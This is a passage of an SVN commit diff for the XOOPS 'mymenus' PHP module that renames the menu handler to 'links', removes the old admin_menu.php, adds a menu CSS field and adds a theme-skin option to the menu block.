+ $tray->addElement($btn);
+ $form->addElement($tray);
+
+ if (isset($id)) {
+ $form->addElement(new XoopsFormHidden('op', 'editok'));
+ $form->addElement(new XoopsFormHidden('id', $id));
+ } else {
+ $form->addElement(new XoopsFormHidden('op', 'add'));
+ }
+
+ $form->addElement(new XoopsFormHidden('mid', $menu_id));
+
+ return $form->render();
+}
+
+function mymenus_admin_move($id, $weight)
+{
+ $this_handler =& xoops_getModuleHandler('links', 'mymenus');
+ $obj = $this_handler->get($id);
+ $obj->setVar('weight', $weight);
+ $this_handler->insert($obj);
+ $this_handler->update_weights($obj);
+}
+
+function mymenus_admin_toggle($id, $visible)
+{
+ include_once XOOPS_ROOT_PATH.'/class/logger/xoopslogger.php';
+ $xoopsLogger =& XoopsLogger::getInstance();
+ $xoopsLogger->activated = true;
+ error_reporting(0);
+
+ $this_handler =& xoops_getModuleHandler('links', 'mymenus');
+ $obj = $this_handler->get($id);
+ $visible = ($obj->getVar('visible') == 1) ? 0 : 1;
+ $obj->setVar('visible', $visible);
+ $this_handler->insert($obj);
+ echo $obj->getVar('visible');
+}
Property changes on: XoopsModules/mymenus/trunk/mymenus/admin/admin_links.php
___________________________________________________________________
Added: svn:keywords
## -0,0 +1 ##
+Author Date Id Rev URL
\ No newline at end of property
Added: svn:eol-style
## -0,0 +1 ##
+native
\ No newline at end of property
Deleted: XoopsModules/mymenus/trunk/mymenus/admin/admin_menu.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/admin/admin_menu.php 2014-02-10 08:34:52 UTC (rev 12299)
+++ XoopsModules/mymenus/trunk/mymenus/admin/admin_menu.php 2014-02-10 10:21:40 UTC (rev 12300)
@@ -1,402 +0,0 @@
-<?php
-/*
- You may not change or alter any portion of this comment or credits
- of supporting developers from this source code or any supporting source code
- which is considered copyrighted (c) material of the original comment or credit authors.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- */
-
-/**
- * @copyright The XOOPS Project http://sourceforge.net/projects/xoops/
- * @license http://www.gnu.org/licenses/gpl-2.0.html GNU Public License
- * @package Mymenus
- * @since 1.0
- * @author trabis <lus...@gm...>
- * @version $Id: admin_menu.php 0 2010-07-21 18:47:04Z trabis $
- */
-
-include_once dirname(__FILE__) . '/admin_header.php';
-
-$menus_handler =& xoops_getModuleHandler('menus', 'mymenus');
-$criteria = new CriteriaCompo();
-$criteria->setSort('title');
-$criteria->setOrder('ASC');
-$menus_list = $menus_handler->getList($criteria);
-
-$indexAdmin = new ModuleAdmin();
-
-if (empty($menus_list)) {
- redirect_header('admin_menus.php', 1, _AM_MYMENUS_MSG_NOMENUS);
- exit;
-}
-
-if (isset($_REQUEST['menu_id']) && in_array($_REQUEST['menu_id'], array_keys($menus_list))){
- $menu_id = $_REQUEST['menu_id'];
- $menu_title = $menus_list[$menu_id];
-} else {
- $keys = array_keys($menus_list);
- $menu_id = $keys[0];
- $menu_title = $menus_list[$menu_id];
-}
-
-$mymenusTpl->assign('menu_id', $menu_id);
-$mymenusTpl->assign('menu_title', $menu_title);
-$mymenusTpl->assign('menus_list', $menus_list);
-
-
-$op = isset($_GET['op']) ? trim($_GET['op']) : (isset($_POST['op']) ? trim($_POST['op']) : 'list');
-
-$id = isset($_GET['id']) ? intval($_GET['id']) : (isset($_POST['id']) ? intval($_POST['id']) : null);
-$pid = isset($_GET['pid']) ? intval($_GET['pid']) : (isset($_POST['pid']) ? intval($_POST['pid']) : null);
-
-$limit = isset($_GET['limit']) ? intval($_GET['limit']) : (isset($_POST['limit']) ? intval($_POST['limit']) : 15);
-$start = isset($_GET['start']) ? intval($_GET['start']) : (isset($_POST['start']) ? intval($_POST['start']) : 0);
-$redir = isset($_GET['redir']) ? $_GET['redir'] : (isset($_POST['redir']) ? $_POST['redir'] : null);
-
-$weight = isset($_GET['weight']) ? intval($_GET['weight']) : (isset($_POST['weight']) ? intval($_POST['weight']) : 0);
-$visible = isset($_GET['visible']) ? intval($_GET['visible']) : (isset($_POST['visible']) ? intval($_POST['visible']) : 0);
-
-$mymenus_adminpage = 'admin_menu.php';
-
-switch ($op) {
- case 'add':
- mymenus_admin_add();
- break;
- case 'form':
- xoops_cp_header();
- echo $indexAdmin->addNavigation('admin_menu.php');
- echo mymenus_admin_form(null, $pid);
- include 'admin_footer.php';
- break;
- case 'edit':
- xoops_cp_header();
- echo $indexAdmin->addNavigation('admin_menu.php');
- echo mymenus_admin_form($id);
- include 'admin_footer.php';
- break;
- case 'editok':
- mymenus_admin_edit($id);
- break;
- case 'del':
- mymenus_admin_confirmdel($id, $redir);
- break;
- case 'delok':
- mymenus_admin_del($id, $redir);
- break;
- case 'delall':
- mymenus_admin_confirmdel(null, $redir, 'delallok');
- break;
- case 'delallok':
- mymenus_admin_delall($redir);
- break;
- case 'move':
- xoops_cp_header();
- echo $indexAdmin->addNavigation('admin_menu.php');
- mymenus_admin_move($id, $weight);
- echo mymenus_admin_list($start);
- include 'admin_footer.php';
- break;
- case 'toggle':
- xoops_cp_header();
- echo $indexAdmin->addNavigation('admin_menu.php');
- mymenus_admin_toggle($id, $visible);
- echo mymenus_admin_list($start);
- include 'admin_footer.php';
- break;
- case 'list':
- default:
- xoops_cp_header();
- echo $indexAdmin->addNavigation('admin_menu.php');
- echo mymenus_admin_list($start);
- include 'admin_footer.php';
- break;
-}
-
-function mymenus_admin_list($start = 0)
-{
- global $mymenusTpl, $menu_id;
-
- $this_handler =& xoops_getModuleHandler('menu', 'mymenus');
-
- $criteria = new CriteriaCompo(new Criteria('mid', $menu_id));
- //$criteria->add(new Criteria('pid', 0));
-
- $count = $this_handler->getCount($criteria);
- $mymenusTpl->assign('count', $count);
- $criteria->setSort('weight');
- $criteria->setOrder('ASC');
-
- $menus = array();
- $menusArray = array();
- if ($count > 0) {
- $menus = $this_handler->getObjects($criteria);
- foreach ($menus as $menu) {
- $array[] = $menu->getValues();
- }
- include_once $GLOBALS['xoops']->path('modules/mymenus/class/builder.php');
- $builder = new MymenusBuilder($array);
- $menusArray = $builder->render();
- $mymenusTpl->assign('menus', $menusArray);
- }
-
- $mymenusTpl->assign('addform', mymenus_admin_form());
-
- return $mymenusTpl->fetch($GLOBALS['xoops']->path('modules/mymenus/templates/static/mymenus_admin_menu.html'));
-}
-
-function mymenus_admin_del($id, $redir = null)
-{
- if (!$GLOBALS['xoopsSecurity']->check()) {
- redirect_header($GLOBALS['mymenus_adminpage'], 1, implode('<br />', $GLOBALS['xoopsSecurity']->getErrors()));
- }
-
- if ($id <= 0) {
- redirect_header($GLOBALS['mymenus_adminpage'], 1);
- }
-
- $this_handler =& xoops_getModuleHandler('menu' , 'mymenus');
- $obj = $this_handler->get($id);
- if (!is_object($obj)) {
- redirect_header($GLOBALS['mymenus_adminpage'], 1);
- }
-
- if (!$this_handler->delete($obj)) {
- xoops_cp_header();
- xoops_error(_AM_MYMENUS_MSG_ERROR, $obj->getVar('id'));
- xoops_cp_footer();
- exit();
- }
-
- redirect_header(!is_null($redir) ? base64_decode($redir) : $GLOBALS['mymenus_adminpage'] , 2, _AM_MYMENUS_MSG_SUCCESS);
-}
-
-function mymenus_admin_delall($redir = null)
-{
- if (!$GLOBALS['xoopsSecurity']->check()) {
- redirect_header($GLOBALS['mymenus_adminpage'], 1, implode('<br />', $GLOBALS['xoopsSecurity']->getErrors()));
- }
-
- $this_handler =& xoops_getModuleHandler('menu' , 'mymenus');
-
- if (!$this_handler->deleteAll()) {
- redirect_header(!is_null($redir) ? base64_decode($redir) : $GLOBALS['mymenus_adminpage'] , 2, _AM_MYMENUS_ERROR);
- }
-
- redirect_header(!is_null($redir) ? base64_decode($redir) : $GLOBALS['mymenus_adminpage'] , 2, _AM_MYMENUS_SUCCESS);
-}
-
-function mymenus_admin_confirmdel($id = null, $redir = null, $op = 'delok')
-{
-
- $arr = array();
- $arr['op'] = $op;
- $arr['id'] = $id;
- if (!is_null($redir)){
- $arr['redir'] = $redir;
- }
-
- xoops_cp_header();
- xoops_confirm($arr, $GLOBALS['mymenus_adminpage'], _AM_MYMENUS_MSG_AYS);
- xoops_cp_footer();
-}
-
-
-function mymenus_admin_add()
-{
- if (!$GLOBALS['xoopsSecurity']->check()) {
- redirect_header($GLOBALS['mymenus_adminpage'], 3, implode('<br />', $GLOBALS['xoopsSecurity']->getErrors()));
- }
-
- $this_handler =& xoops_getModuleHandler('menu','mymenus');
- $criteria = new CriteriaCompo(new Criteria('mid', $_POST['mid']));
- $criteria->setSort('weight');
- $criteria->setOrder('DESC');
- $criteria->setLimit(1);
- $menus = $this_handler->getObjects($criteria);
- $weight = 1;
- if (isset($menus[0]) && is_object($menus[0])) {
- $weight = $menus[0]->getVar('weight') + 1;
- }
-
- $obj = $this_handler->create();
- if (!isset($_POST['hooks'])) {
- $_POST['hooks'] = array();
- }
- $obj->setVars($_POST);
- $obj->setVar('weight', $weight);
-
- if (!$this_handler->insert($obj)){
- $msg = _AM_MYMENUS_MSG_ERROR;
- } else {
- $this_handler->update_weights($obj);
- $msg = _AM_MYMENUS_MSG_SUCCESS;
- }
-
- redirect_header($GLOBALS['mymenus_adminpage'] . '?op=list&menu_id=' . $obj->getVar('mid'), 2, $msg);
-}
-
-function mymenus_admin_edit($id)
-{
- if (!$GLOBALS['xoopsSecurity']->check()) {
- redirect_header($GLOBALS['mymenus_adminpage'], 3, implode('<br />', $GLOBALS['xoopsSecurity']->getErrors()));
- }
-
- $this_handler =& xoops_getModuleHandler('menu','mymenus');
- $obj = $this_handler->get($id);
- if (!isset($_POST['hooks'])) {
- $_POST['hooks'] = array();
- }
- $obj->setVars($_POST);
-
- if (!$this_handler->insert($obj)){
- $msg = _AM_MYMENUS_MSG_ERROR;
- }else{
- $msg = _AM_MYMENUS_MSG_SUCCESS;
- }
-
- redirect_header($GLOBALS['mymenus_adminpage'] . '?op=list', 2, $msg);
-}
-
-function mymenus_admin_form($id = null, $pid = null)
-{
- global $menu_id;
-
- $registry =& MymenusRegistry::getInstance();
- $plugin =& MymenusPlugin::getInstance();
-
- $this_handler =& xoops_getModuleHandler('menu','mymenus');
- $objArray = array();
-
- if (isset($id)) {
- $ftitle = _EDIT;
- $obj = $this_handler->get($id);
- $objArray = $obj->getValues();
-
- } else {
- $ftitle = _ADD;
- $obj = $this_handler->create();
- $objArray = $obj->getValues();
- if (isset($pid)) {
- $objArray['pid'] = $pid;
- }
- }
-
- $form = new XoopsThemeForm($ftitle, 'admin_form', $GLOBALS['mymenus_adminpage'], "post", true);
- $formtitle = new XoopsFormText(_AM_MYMENUS_MENU_TITLE, 'title', 50, 255, $objArray['title']);
- $formalttitle = new XoopsFormText(_AM_MYMENUS_MENU_ALTTITLE, 'alt_title', 50, 255, $objArray['alt_title']);
-
- $formlink = new XoopsFormText(_AM_MYMENUS_MENU_LINK, 'link', 50, 255, $objArray['link']);
- /*$plugin->triggerEvent('FormLinkDescription');
- $formlink->setDescription($registry->getEntry('form_link_description')); */
- $formimage = new XoopsFormText(_AM_MYMENUS_MENU_IMAGE, 'image', 50, 255, $objArray['image']);
-
- $criteria = new CriteriaCompo(new Criteria('mid', $menu_id));
- $criteria->add(new Criteria('id', $id, '<>'));
- // $criteria->add(new Criteria('pid', 0));
- $criteria->setSort('weight');
- $criteria->setOrder('ASC');
-
- $results = $this_handler->getAll($criteria, array('title', 'id', 'pid')/*, false, false*/);
- include_once $GLOBALS['xoops']->path('class/tree.php');
- $parent_tree = new XoopsObjectTree($results, 'id', 'pid');
- $parent_select = $parent_tree->makeSelBox('pid', 'title', '-- ', $objArray['pid'], true);
- $formparent = new XoopsFormLabel(_AM_MYMENUS_MENU_PARENT, $parent_select);
-//---------------mamba
-// $formvis = new XoopsFormSelect(_AM_MYMENUS_MENU_VISIBLE, "visible", $objArray['visible']);
-// $formvis->addOption("0", _NO);
-// $formvis->addOption("1", _YES);
-
- global $xoopsModule;
- $pathIcon16 = '../'.$xoopsModule->getInfo('icons16');
-
- $statontxt
- = " <img src=". $pathIcon16 .'/1.png'.' '. "alt='" ._YES . "' /> " . _YES
- . " ";
- $statofftxt
- = " <img src=". $pathIcon16 .'/0.png' .' '."alt='" . _NO . "' /> "
- . _NO . " ";
- $formvis = new XoopsFormRadioYN(_AM_MYMENUS_MENU_VISIBLE, 'visible', $objArray['visible'], $statontxt, $statofftxt);
-//---------------mamba
-
- $formtarget = new XoopsFormSelect(_AM_MYMENUS_MENU_TARGET, "target", $objArray['target']);
- $formtarget->addOption("_self", _AM_MYMENUS_MENU_TARG_SELF);
- $formtarget->addOption("_blank", _AM_MYMENUS_MENU_TARG_BLANK);
- $formtarget->addOption("_parent", _AM_MYMENUS_MENU_TARG_PARENT);
- $formtarget->addOption("_top", _AM_MYMENUS_MENU_TARG_TOP);
-
- $formgroups = new XoopsFormSelectGroup(_AM_MYMENUS_MENU_GROUPS, "groups", true, $objArray['groups'], 5, true);
- $formgroups->setDescription(_AM_MYMENUS_MENU_GROUPS_HELP);
-
- //$formhooks = new XoopsFormTextArea(_AM_MYMENUS_MENU_HOOKS, "hooks", $objArray['hooks'], 7, 60);
-
- $formhooks = new XoopsFormSelect(_AM_MYMENUS_MENU_ACCESS_FILTER, "hooks", $objArray['hooks'], 5, true);
- $plugin->triggerEvent('AccessFilter');
- $results = $registry->getEntry('access_filter');
- if ($results) {
- foreach ($results as $result) {
- $formhooks->addOption($result['method'], $result['name']);
- }
- }
-
- $formcss = new XoopsFormText(_AM_MYMENUS_MENU_CSS, 'css', 50, 255, $objArray['css']);
-
- $form->addElement($formtitle, true);
- $form->addElement($formalttitle);
- $form->addElement($formlink);
- $form->addElement($formimage);
- $form->addElement($formparent);
- $form->addElement($formvis);
- $form->addElement($formtarget);
- $form->addElement($formgroups);
- $form->addElement($formhooks);
- $form->addElement($formcss);
- //$form->addElement($formhooks2);
-
- $tray = new XoopsFormElementTray('' ,'');
- $tray->addElement(new XoopsFormButton('', 'submit_button', _SUBMIT, 'submit'));
-
- $btn = new XoopsFormButton('', 'reset', _CANCEL, 'button');
-
- if (isset($id)){
- $btn->setExtra('onclick="document.location.href=\'' . $GLOBALS['mymenus_adminpage'] . '?op=list&menu_id=' . $menu_id . ' \'"');
- }else{
- $btn->setExtra('onclick="document.getElementById(\'addform\').style.display = \'none\'; return false;"');
- }
-
- $tray->addElement($btn);
- $form->addElement($tray);
-
- if (isset($id)){
- $form->addElement(new XoopsFormHidden('op', 'editok'));
- $form->addElement(new XoopsFormHidden('id', $id));
- }else{
- $form->addElement(new XoopsFormHidden('op', 'add'));
- }
-
- $form->addElement(new XoopsFormHidden('mid', $menu_id));
-
- return $form->render();
-}
-
-function mymenus_admin_move($id, $weight)
-{
- $this_handler =& xoops_getModuleHandler('menu', 'mymenus');
- $obj = $this_handler->get($id);
- $obj->setVar('weight', $weight);
- $this_handler->insert($obj);
- $this_handler->update_weights($obj);
-}
-
-function mymenus_admin_toggle($id, $visible)
-{
- $visible = ($visible == 1) ? 0 : 1;
- $this_handler =& xoops_getModuleHandler('menu', 'mymenus');
- $obj = $this_handler->get($id);
- $obj->setVar('visible', $visible);
- $this_handler->insert($obj);
-}
-
-?>
\ No newline at end of file
Modified: XoopsModules/mymenus/trunk/mymenus/admin/admin_menus.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/admin/admin_menus.php 2014-02-10 08:34:52 UTC (rev 12299)
+++ XoopsModules/mymenus/trunk/mymenus/admin/admin_menus.php 2014-02-10 10:21:40 UTC (rev 12300)
@@ -30,8 +30,6 @@
$mymenus_adminpage = 'admin_menus.php';
-$indexAdmin = new ModuleAdmin();
-
switch ($op) {
case 'add':
mymenus_admin_add();
@@ -60,9 +58,8 @@
break;
case 'list':
default:
- xoops_cp_header();
- echo $indexAdmin->addNavigation('admin_menus.php');
- //mymenus_adminMenu(0, _MI_MYMENUS_MENUSMANAGER);
+ xoops_cp_header();
+ echo $indexAdmin->addNavigation('admin_menus.php');
echo mymenus_admin_list($start);
include 'admin_footer.php';
break;
@@ -140,7 +137,7 @@
exit();
}
- $this_handler =& xoops_getModuleHandler('menu' , 'mymenus');
+ $this_handler =& xoops_getModuleHandler('links' , 'mymenus');
$criteria = new Criteria('mid', $id);
$this_handler->deleteAll($criteria);
unset($criteria);
@@ -172,11 +169,10 @@
$arr['redir'] = $redir;
}
xoops_cp_header();
- xoops_confirm($arr, $GLOBALS['mymenus_adminpage'], _AM_MYMENUS_MSG_AYS);
+ xoops_confirm($arr, $GLOBALS['mymenus_adminpage'], _AM_MYMENUS_MSG_AYSC);
xoops_cp_footer();
}
-
function mymenus_admin_add()
{
if (!$GLOBALS['xoopsSecurity']->check()) {
@@ -187,7 +183,7 @@
$obj = $this_handler->create();
$obj->setVars($_POST);
- if (!$this_handler->insert($obj)){
+ if (!$this_handler->insert($obj)) {
$msg = _AM_MYMENUS_MSG_ERROR;
} else {
$msg = _AM_MYMENUS_MSG_SUCCESS;
@@ -205,7 +201,7 @@
$obj = $this_handler->get($id);
$obj->setVars($_POST);
- if (!$this_handler->insert($obj)){
+ if (!$this_handler->insert($obj)) {
$msg = _AM_MYMENUS_MSG_ERROR;
} else {
$msg = _AM_MYMENUS_MSG_SUCCESS;
@@ -232,15 +228,18 @@
$form = new XoopsThemeForm($ftitle, 'admin_form', $GLOBALS['mymenus_adminpage'], "post", true);
$form->addElement(new XoopsFormText(_AM_MYMENUS_MENU_TITLE, 'title', 50, 255, $objArray['title']), true);
+ //
+ $form->addElement(new XoopsFormText(_AM_MYMENUS_MENU_CSS, 'css', 50, 255, $objArray['css']),false);
+ //
$tray = new XoopsFormElementTray('' ,'');
$tray->addElement(new XoopsFormButton('', 'submit_button', _SUBMIT, 'submit'));
$btn = new XoopsFormButton('', 'reset', _CANCEL, 'button');
- if (isset($id)){
+ if (isset($id)) {
$btn->setExtra('onclick="document.location.href=\'' . $GLOBALS['mymenus_adminpage'] . '?op=list\'"');
- }else{
+ } else {
$btn->setExtra('onclick="document.getElementById(\'addform\').style.display = \'none\'; return false;"');
}
@@ -256,5 +255,3 @@
return $form->render();
}
-
-?>
\ No newline at end of file
Modified: XoopsModules/mymenus/trunk/mymenus/admin/index.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/admin/index.php 2014-02-10 08:34:52 UTC (rev 12299)
+++ XoopsModules/mymenus/trunk/mymenus/admin/index.php 2014-02-10 10:21:40 UTC (rev 12300)
@@ -18,15 +18,12 @@
* @version $Id: index.php 0 2010-07-21 18:47:04Z trabis $
*/
-
-require_once dirname(dirname(dirname(dirname(__FILE__)))) . '/include/cp_header.php';
+//require_once dirname(dirname(dirname(dirname(__FILE__)))) . '/include/cp_header.php';
include_once dirname(__FILE__) . '/admin_header.php';
-xoops_cp_header();
+ xoops_cp_header();
- $indexAdmin = new ModuleAdmin();
-
- echo $indexAdmin->addNavigation('index.php');
+ echo $indexAdmin->addNavigation('index.php');
echo $indexAdmin->renderIndex();
-include "admin_footer.php";
\ No newline at end of file
+ include 'admin_footer.php';
Modified: XoopsModules/mymenus/trunk/mymenus/admin/menu.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/admin/menu.php 2014-02-10 08:34:52 UTC (rev 12299)
+++ XoopsModules/mymenus/trunk/mymenus/admin/menu.php 2014-02-10 10:21:40 UTC (rev 12300)
@@ -20,14 +20,14 @@
defined("XOOPS_ROOT_PATH") or die("XOOPS root path not defined");
-$dirname = basename(dirname(dirname(__FILE__)));
+$dirname = basename(dirname(dirname(__FILE__)));
$module_handler = xoops_gethandler('module');
-$module = $module_handler->getByDirname($dirname);
+$module = $module_handler->getByDirname($dirname);
$pathIcon32 = $module->getInfo('icons32');
-xoops_loadLanguage('admin', $dirname);
-
-$i = -1;
+xoops_loadLanguage('admin', $dirname);
+
+$i = 0;
$i++;
$adminmenu[$i]["title"] = _MI_MYMENUS_ADMMENU0;
$adminmenu[$i]["link"] = 'admin/index.php';
@@ -38,7 +38,7 @@
$adminmenu[$i]["icon"] = $pathIcon32.'/manage.png';
$i++;
$adminmenu[$i]['title'] = _MI_MYMENUS_MENUMANAGER;
-$adminmenu[$i]['link'] = "admin/admin_menu.php";
+$adminmenu[$i]['link'] = "admin/admin_links.php";
$adminmenu[$i]["icon"] = $pathIcon32.'/insert_table_row.png';
$i++;
$adminmenu[$i]['title'] = _MI_MYMENUS_ABOUT;
@@ -46,4 +46,4 @@
$adminmenu[$i]["icon"] = $pathIcon32.'/about.png';
//$mymenus_adminmenu = $adminmenu;
-
+unset($i);
Modified: XoopsModules/mymenus/trunk/mymenus/blocks/mymenus_block.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/blocks/mymenus_block.php 2014-02-10 08:34:52 UTC (rev 12299)
+++ XoopsModules/mymenus/trunk/mymenus/blocks/mymenus_block.php 2014-02-10 10:21:40 UTC (rev 12300)
@@ -38,8 +38,7 @@
$menu_id = $options[0];
- $this_handler =& xoops_getModuleHandler('menu', 'mymenus');
-
+ $this_handler =& xoops_getModuleHandler('links', 'mymenus');
$criteria = new CriteriaCompo(new Criteria('mid', $menu_id));
$criteria->setSort('weight');
$criteria->setOrder('ASC');
@@ -47,8 +46,8 @@
$menus = $this_handler->getAll($criteria, null, false, false);
unset($criteria);
- foreach ($menus as $key => $menu) {
- $registry->setEntry('menu', $menu);
+ foreach ($menus as $key => $links) {
+ $registry->setEntry('menu', $links);
$registry->setEntry('has_access', 'yes');
$plugin->triggerEvent('HasAccess');
if ($registry->getEntry('has_access') == 'no') {
@@ -59,8 +58,8 @@
$count = count($menus);
if ($count == 0) return $block;
- foreach ($menus as $key => $menu) {
- $registry->setEntry('link_array', $menu);
+ foreach ($menus as $key => $links) {
+ $registry->setEntry('link_array', $links);
$plugin->triggerEvent('TitleDecoration');
$plugin->triggerEvent('AlttitleDecoration');
$plugin->triggerEvent('LinkDecoration');
@@ -82,7 +81,7 @@
//get extra files from skins
$skin = $options[1];
- $skin_info = mymenus_getSkinInfo($skin, $options[2]);
+ $skin_info = mymenus_getSkinInfo($skin, $options[2], $options[3]);
if (isset($skin_info['css'])) {
$css = array_merge($css, $skin_info['css']);
@@ -129,10 +128,24 @@
$blockTpl->assign('skinurl', $skin_info['url']);
$blockTpl->assign('skinpath', $skin_info['path']);
+ /*assign ul class*/
+ $menucss='';
+ $menus_handler = xoops_getModuleHandler('menus', 'mymenus');
+ $menucriteria = new CriteriaCompo(new Criteria('id', $menu_id));
+ $menuObj = $menus_handler->getAll($menucriteria, null, false, false);
+ $itemsCount = count($menuObj);
+ if ($menuObj) {
+ for ($i = 0; $i < $itemsCount; $i++) {
+ $menucss = isset($menuObj[$i]['css']) ? $menuObj[$i]['css']: '';
+ }
+ }
+ if(!$menucss){$menucss = "";}
+ $blockTpl->assign('menucss', $menucss);
+
$block['content'] = $blockTpl->fetch($skin_info['template']);
- if ($options[3] == 'template') {
- $xoopsTpl->assign('xoops_menu_' . $options[4] , $block['content']);
+ if ($options[4] == 'template') {
+ $xoopsTpl->assign('xoops_links_' . $options[5] , $block['content']);
$block = array();
}
@@ -192,25 +205,40 @@
$form .= $element->render();
$form .= "</select>\n <i>" . _MB_MYMENUS_USE_THEME_SKIN_DSC . "</i><br /><br />";
+ //Skin from theme - @luciorota
+ xoops_load('XoopsLists');
+ $temp_theme_skins = XoopsLists::getDirListAsArray(XOOPS_ROOT_PATH . "/themes/" . $GLOBALS['xoopsConfig']['theme_set'] . "/modules/mymenus/skins/", "");
+ $theme_skins_options = array();
+ foreach ($temp_theme_skins as $key => $theme_skin) {
+ if (file_exists(XOOPS_ROOT_PATH . '/themes/' . $GLOBALS['xoopsConfig']['theme_set'] . '/modules/mymenus/skins/' . $theme_skin . '/skin_version.php')) {
+ $theme_skins_options[$theme_skin] = '/themes/' . $GLOBALS['xoopsConfig']['theme_set'] . '/modules/mymenus/skins/' . $theme_skin . '';
+ }
+ }
+
+ $form .= "<b>" . _MB_MYMENUS_SELECT_SKIN_FROM_THEME . "</b> ";
+ $element = new XoopsFormSelect('', 'options[3]', $options[3], 1);
+ $element->addOption('', '/themes/' . $GLOBALS['xoopsConfig']['theme_set'] . '/menu');
+ $element->addOptionArray($theme_skins_options);
+ $form .= $element->render();
+ $form .= "</select>\n <i>" . _MB_MYMENUS_SELECT_SKIN_FROM_THEME_DSC . "</i><br /><br />";
+
//Display method
$display_options = array(
'block' => _MB_MYMENUS_DISPLAY_METHOD_BLOCK,
'template' => _MB_MYMENUS_DISPLAY_METHOD_TEMPLATE
);
$form .= "<b>" . _MB_MYMENUS_DISPLAY_METHOD . "</b> ";
- $element = new XoopsFormSelect('', 'options[3]', $options[3], 1);
+ $element = new XoopsFormSelect('', 'options[4]', $options[4], 1);
$element->addOptionArray($display_options);
$form .= $element->render();
$form .= "</select>\n <i>" . _MB_MYMENUS_DISPLAY_METHOD_DSC . "</i><br /><br />";
//Unique ID
$form .= "<b>" . _MB_MYMENUS_UNIQUEID . "</b> ";
- $element = new XoopsFormText('', 'options[4]', 10, 50, $options[4]);
+ $element = new XoopsFormText('', 'options[5]', 10, 50, $options[5]);
$form .= $element->render();
$form .= "\n <i>" . _MB_MYMENUS_UNIQUEID_DSC . "</i><br /><br />";
return $form;
}
-
-?>
\ No newline at end of file
Modified: XoopsModules/mymenus/trunk/mymenus/class/about.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/class/about.php 2014-02-10 08:34:52 UTC (rev 12299)
+++ XoopsModules/mymenus/trunk/mymenus/class/about.php 2014-02-10 10:21:40 UTC (rev 12300)
@@ -20,7 +20,6 @@
defined("XOOPS_ROOT_PATH") or die("XOOPS root path not defined");
-
/**
* Class About is a simple class that lets you build an about page
* @author The SmartFactory <www.smartfactory.ca>
@@ -79,6 +78,7 @@
function sanitize($value)
{
$myts =& MyTextSanitizer::getInstance();
+
return $myts->displayTarea($value, 1);
}
@@ -169,5 +169,3 @@
xoops_cp_footer();
}
}
-
-?>
\ No newline at end of file
Modified: XoopsModules/mymenus/trunk/mymenus/class/builder.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/class/builder.php 2014-02-10 08:34:52 UTC (rev 12299)
+++ XoopsModules/mymenus/trunk/mymenus/class/builder.php 2014-02-10 10:21:40 UTC (rev 12300)
@@ -114,7 +114,7 @@
$query_string = $_SERVER['QUERY_STRING'] ? '?' . $_SERVER['QUERY_STRING'] : '';
$self = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . $query_string;
- //set a default page in case we don\xB4t get matches
+ //set a default page in case we don�t get matches
$default = XOOPS_URL . "/index.php";
//get all matching links
@@ -173,5 +173,3 @@
}
}
-
-?>
\ No newline at end of file
Added: XoopsModules/mymenus/trunk/mymenus/class/links.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/class/links.php (rev 0)
+++ XoopsModules/mymenus/trunk/mymenus/class/links.php 2014-02-10 10:21:40 UTC (rev 12300)
@@ -0,0 +1,112 @@
+<?php
+/*
+ You may not change or alter any portion of this comment or credits
+ of supporting developers from this source code or any supporting source code
+ which is considered copyrighted (c) material of the original comment or credit authors.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ */
+
+/**
+ * @copyright The XOOPS Project http://sourceforge.net/projects/xoops/
+ * @license http://www.gnu.org/licenses/gpl-2.0.html GNU Public License
+ * @package Mymenus
+ * @since 1.0
+ * @author trabis <lus...@gm...>
+ * @version $Id$
+ */
+
+defined("XOOPS_ROOT_PATH") or die("XOOPS root path not defined");
+
+class MymenusLinks extends XoopsObject
+{
+ /**
+ * constructor
+ */
+ function __construct()
+ {
+ $this->initVar('id', XOBJ_DTYPE_INT);
+ $this->initVar('pid', XOBJ_DTYPE_INT);
+ $this->initVar('mid', XOBJ_DTYPE_INT);
+ $this->initVar('title', XOBJ_DTYPE_TXTBOX);
+ $this->initVar('alt_title', XOBJ_DTYPE_TXTBOX);
+ $this->initVar('visible', XOBJ_DTYPE_INT, 1);
+ $this->initVar('link', XOBJ_DTYPE_TXTBOX);
+ $this->initVar('weight', XOBJ_DTYPE_INT, 255);
+ $this->initVar('target', XOBJ_DTYPE_TXTBOX);
+ $this->initVar('groups', XOBJ_DTYPE_ARRAY, serialize(array(XOOPS_GROUP_ANONYMOUS, XOOPS_GROUP_USERS)));
+ $this->initVar('hooks', XOBJ_DTYPE_ARRAY, serialize(array()));
+ $this->initVar('image', XOBJ_DTYPE_TXTBOX);
+ $this->initVar('css', XOBJ_DTYPE_TXTBOX);
+ }
+
+ function checkAccess()
+ {
+ $hooks = $this->getHooks();
+ $hooks['mymenus'][] = 'checkAccess';
+ foreach ($hooks as $hookname => $hook) {
+ if (!mymenus_hook($hookname, 'checkAccess', array('links' => $this))) {
+ return false;
+ }
+ }
+
+ return true;
+ }
+
+ function getHooks()
+ {
+ $ret = array();
+ $data = $this->getVar('hooks', 'n');
+ if (!$data) return $ret;
+ $lines = explode("\n", $data);
+ foreach ($lines as $line) {
+ $line = trim($line);
+ $line = explode('|', $line);
+ $hook = trim($line[0]);
+ $method = isset($line[1]) ? trim($line[1]) : '';
+ //$info = split(',', trim($line[0]));
+ $ret[$hook][] = $method;
+ }
+ return $ret;
+ }
+
+}
+
+class MymenusLinksHandler extends XoopsPersistableObjectHandler
+{
+
+ function __construct(&$db)
+ {
+ parent::__construct($db, 'mymenus_links', 'MymenusLinks', 'id', 'title');
+ }
+
+ function update_weights(&$obj)
+ {
+ $sql = "UPDATE " . $this->table
+ . " SET weight = weight+1"
+ . " WHERE weight >= " . $obj->getVar('weight')
+ . " AND id <> " . $obj->getVar('id')
